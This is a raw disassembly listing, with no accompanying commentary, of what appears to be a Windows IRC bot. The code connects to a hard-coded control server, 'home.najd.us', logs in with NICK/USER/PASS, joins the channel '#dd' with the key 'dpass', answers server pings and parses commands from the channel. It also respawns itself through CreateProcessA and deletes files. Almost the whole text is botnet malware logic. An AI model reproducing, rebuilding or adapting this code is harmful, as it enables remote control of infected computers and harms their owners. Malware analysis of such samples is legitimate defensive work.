		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 18h
		mov	[ebp+var_64], esi
		mov	[ebp+var_58], offset byte_438FBC
		mov	[ebp+var_34], bx
		push	1
		pop	esi
		mov	[ebp+var_38], esi
		call	dword_421120	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	dword_42111C	; OpenProcess
		lea	ecx, [ebp+var_2EC]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_988]
		push	offset dword_433150
		push	eax
		call	sub_4154E7
		add	esp, 14h
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_988]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	dword_4210EC	; CreateProcessA
		test	eax, eax
		jz	short loc_40C96F
		push	0C8h
		call	dword_421060	; Sleep
		push	[ebp+var_1C]
		mov	esi, dword_42106C
		call	esi	; CloseHandle
		push	[ebp+var_18]
		call	esi	; CloseHandle
		call	dword_43A2F8	; WSACleanup
		push	ebx
		call	dword_421114	; ExitProcess


loc_40C96F:				; CODE XREF: sub_40C682+141j
					; sub_40C682+2C3j
		cmp	dword_4694B0, 2
		jle	short loc_40C9BB
		mov	eax, dword_4694B4
		push	dword ptr [eax+4]
		call	sub_415A5F
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	dword_421128	; WaitForSingleObject
		push	esi
		call	dword_42106C	; CloseHandle
		mov	eax, dword_4694B4
		cmp	[eax+8], ebx
		jz	short loc_40C9BB
		push	7D0h
		call	dword_421060	; Sleep
		mov	eax, dword_4694B4
		push	dword ptr [eax+8]
		call	dword_421118	; DeleteFileA


loc_40C9BB:				; CODE XREF: sub_40C682+2F4j
					; sub_40C682+31Ej
		cmp	dword_42C198, ebx
		jz	short loc_40C9D8
		cmp	dword_43A468, ebx
		jnz	short loc_40C9D8
		lea	eax, [ebp+var_5F4]
		push	eax
		call	sub_40B3AE
		pop	ecx


loc_40C9D8:				; CODE XREF: sub_40C682+33Fj
					; sub_40C682+347j
		lea	eax, [ebp+var_E4]
		push	offset dword_433124
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_E4]
		push	ebx
		push	eax
		call	sub_414F93
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_40B16D
		push	0B80h
		push	ebx
		push	offset dword_43E7A8
		call	sub_415570
		call	sub_415543
		push	7Fh
		push	offset aHome_najd_us ; "home.najd.us"
		push	offset dword_468824
		mov	dword_46899C, ebx
		call	sub_416D40
		mov	eax, dword_42C17C
		push	3Fh
		mov	edi, offset dword_4688A4
		push	offset aDd_0	; "#dd"
		push	edi
		mov	dword_468974, eax
		call	sub_416D40
		push	3Fh
		mov	esi, offset dword_4688E4
		push	offset aDpass	; "dpass"
		push	esi
		call	sub_416D40
		add	esp, 48h
		mov	dword_468978, ebx


loc_40CA66:				; CODE XREF: sub_40C682+48Aj
					; sub_40C682+495j ...
		mov	[ebp+var_4], ebx


loc_40CA69:				; CODE XREF: sub_40C682+43Ej
		cmp	dword_43A480, ebx
		jnz	short loc_40CA87
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	dword_43A2DC	; InternetGetConnectedState
		test	eax, eax
		jnz	short loc_40CA87
		push	7530h
		jmp	short loc_40CAB3
; ---------------------------------------------------------------------------


loc_40CA87:				; CODE XREF: sub_40C682+3EDj
					; sub_40C682+3FCj
		push	offset dword_468820
		mov	dword_468998, ebx
		call	sub_40CB75
		cmp	eax, 2
		mov	[ebp+var_8], eax
		jz	loc_40CB61
		cmp	dword_468998, ebx
		jz	short loc_40CAAE
		dec	[ebp+var_4]


loc_40CAAE:				; CODE XREF: sub_40C682+427j
		push	0BB8h


loc_40CAB3:				; CODE XREF: sub_40C682+403j
		call	dword_421060	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_40CA69
		cmp	[ebp+var_8], 2
		jz	loc_40CB61
		cmp	[ebp+var_C], ebx
		jz	short loc_40CB11
		push	7Fh
		push	offset aHome_najd_us ; "home.najd.us"
		push	offset dword_468824
		call	sub_416D40
		mov	eax, dword_42C17C
		push	3Fh
		push	offset aDd_0	; "#dd"
		push	edi
		mov	dword_468974, eax
		call	sub_416D40
		push	3Fh
		push	offset aDpass	; "dpass"
		push	esi
		call	sub_416D40
		add	esp, 24h
		mov	[ebp+var_C], ebx
		jmp	loc_40CA66
; ---------------------------------------------------------------------------


loc_40CB11:				; CODE XREF: sub_40C682+44Dj
		cmp	byte_42C1DC, bl
		jz	loc_40CA66
		push	7Fh
		push	offset byte_42C1DC
		push	offset dword_468824
		call	sub_416D40
		mov	eax, dword_42C180
		push	3Fh
		push	offset aDd_1	; "#dd"
		push	edi
		mov	dword_468974, eax
		call	sub_416D40
		push	3Fh
		push	offset aDpass_0	; "dpass"
		push	esi
		call	sub_416D40
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_40CA66
; ---------------------------------------------------------------------------


loc_40CB61:				; CODE XREF: sub_40C682+41Bj
					; sub_40C682+444j
		call	sub_41515C


loc_40CB66:				; CODE XREF: sub_40C682+AEj
					; sub_40C682+BEj
		call	dword_43A2F8	; WSACleanup


loc_40CB6C:				; CODE XREF: sub_40C682+A1j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_40C682	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB75	proc near		; CODE XREF: sub_40C682+410p
					; DATA XREF: sub_40CE55+39D7o

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_40CB9A:				; CODE XREF: sub_40CB75+E6j
					; sub_40CB75+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_43A398	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40A05B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40CCC7
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_415570
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_46898C
		push	dword_42C1A4
		push	eax
		call	sub_414433
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43F540
		push	edi
		push	eax
		call	sub_416D40
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_43A418	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43F534[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_43A340	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CC60
		push	esi
		call	dword_43A430	; closesocket
		call	sub_40A084
		push	7D0h


loc_40CC55:				; CODE XREF: sub_40CB75+146j
		call	dword_421060	; Sleep
		jmp	loc_40CB9A
; ---------------------------------------------------------------------------


loc_40CC60:				; CODE XREF: sub_40CB75+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset dword_43315C
		call	sub_40B1E1
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40CCDD
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_43A430	; closesocket
		test	edi, edi
		jz	loc_40CB9A
		cmp	edi, 1
		jnz	short loc_40CCBD
		push	0DBBA0h
		jmp	short loc_40CC55
; ---------------------------------------------------------------------------


loc_40CCBD:				; CODE XREF: sub_40CB75+13Fj
		cmp	edi, 2
		jz	short loc_40CCCB
		jmp	loc_40CB9A
; ---------------------------------------------------------------------------


loc_40CCC7:				; CODE XREF: sub_40CB75+5Aj
		xor	eax, eax
		jmp	short loc_40CCD7
; ---------------------------------------------------------------------------


loc_40CCCB:				; CODE XREF: sub_40CB75+14Bj
		push	[ebp+var_34]
		call	sub_4152AF
		pop	ecx
		push	2
		pop	eax


loc_40CCD7:				; CODE XREF: sub_40CB75+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40CB75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCDD	proc near		; CODE XREF: sub_40CB75+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_415D70
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx


loc_40CCFB:				; CODE XREF: sub_40CCDD+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40CCFB
		cmp	byte_468990, bl
		jz	short loc_40CD22
		push	offset byte_468990
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_412D06
		add	esp, 0Ch


loc_40CD22:				; CODE XREF: sub_40CCDD+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_414433
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_4154E7
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CD8C
		push	[ebp+arg_0]
		call	dword_43A430	; closesocket
		push	1388h
		call	dword_421060	; Sleep


loc_40CD85:				; CODE XREF: sub_40CCDD+D9j
					; sub_40CCDD+153j
		xor	eax, eax


loc_40CD87:				; CODE XREF: sub_40CCDD+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CD8C:				; CODE XREF: sub_40CCDD+92j
					; sub_40CCDD+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3B0	; recv
		test	eax, eax
		jle	short loc_40CD85
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_409A3B
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40CD8C
		lea	edi, [ebp+var_A10]


loc_40CDDD:				; CODE XREF: sub_40CCDD+165j
		push	1
		pop	esi


loc_40CDE0:				; CODE XREF: sub_40CCDD+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40CE55
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40CE23
		push	7D0h
		call	dword_421060	; Sleep
		jmp	short loc_40CDE0
; ---------------------------------------------------------------------------


loc_40CE23:				; CODE XREF: sub_40CCDD+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40CE4D
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40CE49
		cmp	esi, 0FFFFFFFFh
		jz	loc_40CD85
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40CDDD
		jmp	loc_40CD8C
; ---------------------------------------------------------------------------


loc_40CE49:				; CODE XREF: sub_40CCDD+14Ej
		push	1
		jmp	short loc_40CE4F
; ---------------------------------------------------------------------------


loc_40CE4D:				; CODE XREF: sub_40CCDD+149j
		push	2


loc_40CE4F:				; CODE XREF: sub_40CCDD+16Ej
		pop	eax
		jmp	loc_40CD87
sub_40CCDD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE55	proc near		; CODE XREF: sub_40CCDD+12Ap

var_159C	= byte ptr -159Ch
var_119C	= byte ptr -119Ch
var_F9C		= byte ptr -0F9Ch
var_D9C		= byte ptr -0D9Ch
var_C9C		= byte ptr -0C9Ch
var_C98		= byte ptr -0C98h
var_B98		= byte ptr -0B98h
var_B94		= byte ptr -0B94h
var_A94		= byte ptr -0A94h
var_A14		= byte ptr -0A14h
var_9B3		= byte ptr -9B3h
var_9B2		= byte ptr -9B2h
var_9B0		= byte ptr -9B0h
var_9AF		= byte ptr -9AFh
var_9A6		= byte ptr -9A6h
var_9A4		= byte ptr -9A4h
var_9A2		= byte ptr -9A2h
var_9A1		= byte ptr -9A1h
var_914		= dword	ptr -914h
var_910		= byte ptr -910h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= byte ptr -804h
var_800		= dword	ptr -800h
var_7FC		= byte ptr -7FCh
var_7F8		= dword	ptr -7F8h
var_7F4		= dword	ptr -7F4h
var_7F0		= byte ptr -7F0h
var_788		= byte ptr -788h
var_77C		= byte ptr -77Ch
var_778		= dword	ptr -778h
var_774		= byte ptr -774h
var_770		= byte ptr -770h
var_718		= dword	ptr -718h
var_710		= byte ptr -710h
var_704		= dword	ptr -704h
var_700		= byte ptr -700h
var_6FC		= byte ptr -6FCh
var_6F8		= dword	ptr -6F8h
var_6F4		= byte ptr -6F4h
var_6F0		= byte ptr -6F0h
var_689		= byte ptr -689h
var_688		= byte ptr -688h
var_680		= byte ptr -680h
var_678		= byte ptr -678h
var_674		= byte ptr -674h
var_670		= byte ptr -670h
var_600		= byte ptr -600h
var_5FC		= dword	ptr -5FCh
var_5F8		= dword	ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= byte ptr -5F0h
var_588		= dword	ptr -588h
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_578		= dword	ptr -578h
var_574		= dword	ptr -574h
var_570		= dword	ptr -570h
var_56C		= dword	ptr -56Ch
var_568		= dword	ptr -568h
var_564		= byte ptr -564h
var_548		= byte ptr -548h
var_4F8		= dword	ptr -4F8h
var_4F4		= byte ptr -4F4h
var_4F0		= dword	ptr -4F0h
var_4EC		= byte ptr -4ECh
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= byte ptr -4D4h
var_4AC		= byte ptr -4ACh
var_48C		= dword	ptr -48Ch
var_474		= byte ptr -474h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= byte ptr -448h
var_444		= byte ptr -444h
var_430		= byte ptr -430h
var_420		= byte ptr -420h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_3F8		= dword	ptr -3F8h
var_3F4		= byte ptr -3F4h
var_3E8		= byte ptr -3E8h
var_3E4		= byte ptr -3E4h
var_3C4		= byte ptr -3C4h
var_3A0		= byte ptr -3A0h
var_384		= byte ptr -384h
var_374		= byte ptr -374h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2D8		= word ptr -2D8h
var_2D6		= word ptr -2D6h
var_2D4		= dword	ptr -2D4h
var_2C8		= byte ptr -2C8h
var_C8		= dword	ptr -0C8h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_54		= byte ptr -54h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 159Ch
		call	sub_415D70
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C8]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_98], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_C8], ebx
		call	sub_415570
		push	1Bh
		lea	eax, [ebp+var_564]
		push	[ebp+arg_10]
		push	eax
		call	sub_416D40
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_40D219
		push	esi
		lea	eax, [ebp+var_F9C]
		push	ebx
		push	eax
		call	sub_415570
		dec	esi
		lea	eax, [ebp+var_F9C]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_F9C]
		push	offset asc_436588 ; " :"
		push	eax
		call	sub_415AC0
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_F9C]
		push	esi
		push	eax
		lea	eax, [ebp+var_119C]
		push	eax
		call	sub_416D40
		mov	esi, offset asc_426A00 ; " "
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_416C98
		add	esp, 34h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+var_A8], 1Fh


loc_40CF28:				; CODE XREF: sub_40CE55+E7j
		push	esi
		push	ebx
		call	sub_416C98
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_40CF28
		mov	esi, [ebp+var_94]
		cmp	esi, ebx
		jz	loc_40D219
		cmp	[ebp+var_90], ebx
		jz	loc_40D219
		push	100h
		lea	eax, [ebp+var_A14]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	ecx, [ebp+var_18]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_40CF76:				; CODE XREF: sub_40CE55+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40CFA2
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40CFAA
		cmp	[eax+2], bl
		jnz	short loc_40CFAA
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_A14], 1
		mov	esi, [ebp+var_94]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_40CFA2:				; CODE XREF: sub_40CE55+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_40CF76


loc_40CFAA:				; CODE XREF: sub_40CE55+12Aj
					; sub_40CE55+12Fj
		cmp	[ebp+var_9A1], bl
		jz	short loc_40CFB5
		mov	[ebp+var_8], edi


loc_40CFB5:				; CODE XREF: sub_40CE55+15Bj
		cmp	[ebp+var_9A6], bl
		jz	short loc_40CFC3
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_40CFC3:				; CODE XREF: sub_40CE55+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40CFFD
		push	7Fh
		lea	eax, [ebp+var_A94]
		push	esi
		push	eax
		call	sub_416D40
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_C4]
		push	offset dword_42F3E4
		push	eax
		call	sub_416C98
		add	esp, 20h


loc_40CFFD:				; CODE XREF: sub_40CE55+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D04E
		push	[ebp+var_90]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40D0F2
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		add	esp, 10h
		jmp	loc_40D0F2
; ---------------------------------------------------------------------------


loc_40D04E:				; CODE XREF: sub_40CE55+1B7j
		mov	esi, [ebp+var_90]
		push	esi
		push	offset a001	; "001"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1A
		push	esi
		push	offset a005	; "005"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1A
		push	esi
		push	offset a302	; "302"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D0B9
		push	offset a@_6	; "@"
		push	[ebp+var_88]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40D0F2
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_416D40
		add	esp, 0Ch
		jmp	short loc_40D0F2
; ---------------------------------------------------------------------------


loc_40D0B9:				; CODE XREF: sub_40CE55+238j
		push	esi
		push	offset a433	; "433"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D0F9
		push	ebx
		push	dword_46898C
		push	dword_42C1A4
		push	[ebp+arg_10]
		call	sub_414433
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		add	esp, 1Ch


loc_40D0F2:				; CODE XREF: sub_40CE55+1D8j
					; sub_40CE55+1F4j ...
		mov	eax, edi
		jmp	loc_40D21C
; ---------------------------------------------------------------------------


loc_40D0F9:				; CODE XREF: sub_40CE55+273j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 2
		mov	edi, 80h


loc_40D10B:				; CODE XREF: sub_40CE55+2DBj
		lea	eax, [ebp+var_A94]
		push	eax
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D128
		mov	[ebp+var_98], 1


loc_40D128:				; CODE XREF: sub_40CE55+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_40D10B
		mov	esi, [ebp+var_90]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D221
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 2


loc_40D157:				; CODE XREF: sub_40CE55+38Fj
		cmp	[esi], bl
		jz	loc_40D1DF
		push	7Fh
		lea	eax, [ebp+var_A94]
		push	esi
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D1DF
		cmp	[ebp+var_88], ebx
		jz	short loc_40D1DF
		push	[ebp+var_88]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D1DF
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_436514
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2C8]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		add	esp, 20h


loc_40D1DF:				; CODE XREF: sub_40CE55+304j
					; sub_40CE55+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_40D157
		push	[ebp+var_88]
		push	[ebp+arg_10]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D219
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_40D20E:				; CODE XREF: sub_40CE55+615j
					; sub_40CE55+96Cj
		push	[ebp+arg_4]
		call	sub_412D06


loc_40D216:				; CODE XREF: sub_40CE55+51FEj
					; sub_40CE55+521Bj ...
		add	esp, 10h


loc_40D219:				; CODE XREF: sub_40CE55+5Bj
					; sub_40CE55+F1j ...
		push	1


loc_40D21B:				; CODE XREF: sub_40CE55+5745j
		pop	eax


loc_40D21C:				; CODE XREF: sub_40CE55+29Fj
					; sub_40CE55+2164j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D221:				; CODE XREF: sub_40CE55+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D377
		mov	eax, [ebp+var_8C]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_24], eax


loc_40D24A:				; CODE XREF: sub_40CE55+447j
		lea	eax, [ebp+var_A94]
		push	eax
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D297
		lea	eax, [ebp+var_A94]
		push	21h
		push	eax
		call	sub_417080
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_40D297
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_415C00
		push	[ebp+arg_1C]
		push	edi
		call	sub_415C10
		add	esp, 10h
		mov	edi, 80h


loc_40D297:				; CODE XREF: sub_40CE55+406j
					; sub_40CE55+41Dj
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_40D24A
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_40D219
		cmp	[ebp+arg_24], ebx
		jz	loc_40D219
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D2DF
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_416D40
		add	esp, 0Ch
		jmp	loc_40D219
; ---------------------------------------------------------------------------


loc_40D2DF:				; CODE XREF: sub_40CE55+473j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40D2E4:				; CODE XREF: sub_40CE55+4B0j
		cmp	[edi], bl
		jz	short loc_40D2FB
		lea	eax, [ebp+var_A94]
		push	eax
		push	edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D30C


loc_40D2FB:				; CODE XREF: sub_40CE55+491j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40D2E4
		jmp	loc_40D219
; ---------------------------------------------------------------------------


loc_40D30C:				; CODE XREF: sub_40CE55+4A4j
		lea	eax, [ebp+var_A94]
		push	21h
		push	eax
		call	sub_417080
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_40D219
		push	eax
		call	sub_415CF0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_415CF0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_40D219
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
